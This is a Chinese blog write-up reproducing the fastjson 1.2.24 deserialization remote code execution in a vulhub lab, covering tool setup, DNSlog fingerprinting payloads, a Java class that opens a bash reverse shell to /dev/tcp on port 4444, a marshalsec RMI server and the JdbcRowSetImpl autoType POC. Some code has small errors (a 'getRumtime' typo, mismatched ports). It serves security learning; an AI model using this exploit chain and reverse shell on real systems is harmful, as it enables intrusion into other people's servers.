【vulhub】fastjson1.2.24-rce
前言:参考了很多文章,感觉都很乱,所以整理一遍发这次的博客;而且这个实验没基础是真看不太懂,所幸在b站刷到这个视频,深入浅出讲解了fastjson1.2.24-rce/1.2.47-rce背后的原理,强烈安利!
0x01 漏洞简介
1.Fastjson介绍
fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。即fastjson的主要功能就是将Java Bean序列化成JSON字符串,这样得到字符串之后就可以通过数据库等方式进行持久化了。
2.Fastjson 1.2.24反序列化导致任意命令执行
fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。
影响范围:fastjson<=1.2.24
3.复现思路
发送POC让靶机来请求VPS上的RMI方法,执行放置在python临时服务器上的EXP(/bin/bash","-c","bash -i >& /dev/tcp/192.168.18.137/4444 0>&1)同时VPS利用nc监听着4444端口,等待shell反弹
0x02 环境准备
环境准备:
1.漏洞环境
这里使用kali下漏洞靶场vulub搭建
1 2 | cd /vulhub/fastjson/1.2.24-rce docker-compose up -d<br>docker ps |
docker开启的8090端口,访问靶机IP
2.攻击环境
1)JDK版本切换
漏洞利用需要jdk8,而kali自带的jdk是jdk11这里用不了,所以先卸载kali的jdk1123
1 2 3 | dpkg --list | grep -i jdk #查看安装的jdk包 apt- get purge openjdk-* #卸载openjdk相关包 dpkg --list | grep -i jdk #检查所有jdk包都卸载完毕 |
下载jdk1.8
https://github.com/frekele/oracle-java/releases
将压缩包放入kali后解压、配置环境变量
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | mv jdk-8u212-linux-x64.tar.gz /opt/java #放置在/opt/java下 tar -zxvf jdk-8u212-linux-x64.tar.gz #解压缩 #环境变量配置 leafpad /etc/profile export JAVA_HOME=/opt/java/jdk1.8.0_212 export JRE_HOME=${JAVA_HOME}/jre export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib export PATH=${JAVA_HOME}/bin:${PATH} #通知java的位置 #update-alternatives命令用于处理linux系统中软件版本的切换 sudo update-alternatives --install "/usr/bin/java" "java" "/opt/java/jdk1.8.0_212/bin/java" 1 sudo update-alternatives --install "/usr/bin/javac" "javac" "/opt/java/jdk1.8.0_212/bin/javac" 1 sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/opt/java/jdk1.8.0_212/bin/javaws" 1 sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/opt/java/jdk1.8.0_212/bin/javaws" 1 #设置默认JDK sudo update-alternatives -- set java /opt/java/jdk1.8.0_212/bin/java sudo update-alternatives -- set javac /opt/java/jdk1.8.0_212/bin/javac sudo update-alternatives -- set javaws /opt/java/jdk1.8.0_212/bin/javaws #使环境变量生效 source /etc/profile #检查是否安装成功 java -version |
2)maven在kali上的安装
(编译安装没成功,后面直接apt安装,笑死我了)
1 2 | apt- get install maven#安装MVN mvn –version#查看是否安装成功 |
3)marshalsec安装
git clone https://github.com/mbechler/marshalsec cd marshalsec mvn clean package -DskipTests #编译
0x03 漏洞扫描
fastjson指纹特征有两种如下
1 根据返回包判断
任意抓个包,提交方式改为POST,花括号不闭合。返回包在就会出现fastjson字样。当然这个可以屏蔽!
2 利用dnslog盲打
构造以下payload,利用dnslog平台接收。我这边dnslog.cn不知道为啥打开不了,就用了ceye.io效果一样
{"zeo":{"@type":"java.net.Inet4Address","val":"dnslog"}}
1.2.67版本后payload
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
畸形:{"@type":"java.net.InetSocketAddress"{"address":,"val":"这里是dnslog"}}
0x04 漏洞利用
1)生成exp
创建TouchFile.java在桌面上就好
import java.lang.Runtime; import java.lang.Process; public class TouchFile{ static{ try{ Runtime rt = Runtime.getRumtime(); String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/你nc接收反弹shell的IP/4444 0>&1 "}; Process pc = rt.exec(commands); pc.waitFor(); }catch(Exception e){ //do nothing } } }
#编译TouchFile.java生成TouchFile.class javac TouchFile.java
2)VPS开启python的web服务
#利用python搭建web服务 python -m SimpleHttpServer 1111 python3 -m http.server
3)VPS开启RMI服务
#进入mashalsec目录 cd / #利用mashalsec开启RMI服务监听9999端口 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://你的vpsIP即kaliIP/#TouchFile" 6666
4)POC发送
BP抓包改GET为POST,插入Content-Type: application/json后发送POC
{ "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl" "dataSourceName":"rmi://你的rmi服务IP即kaliIP:6666/TouchFile", "autoCommit":true } }
5)反弹nc
打开nc接收反弹shell,再次发送POC
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 分享一个免费、快速、无限量使用的满血 DeepSeek R1 模型,支持深度思考和联网搜索!
· 25岁的心里话
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· ollama系列01:轻松3步本地部署deepseek,普通电脑可用
· 按钮权限的设计及实现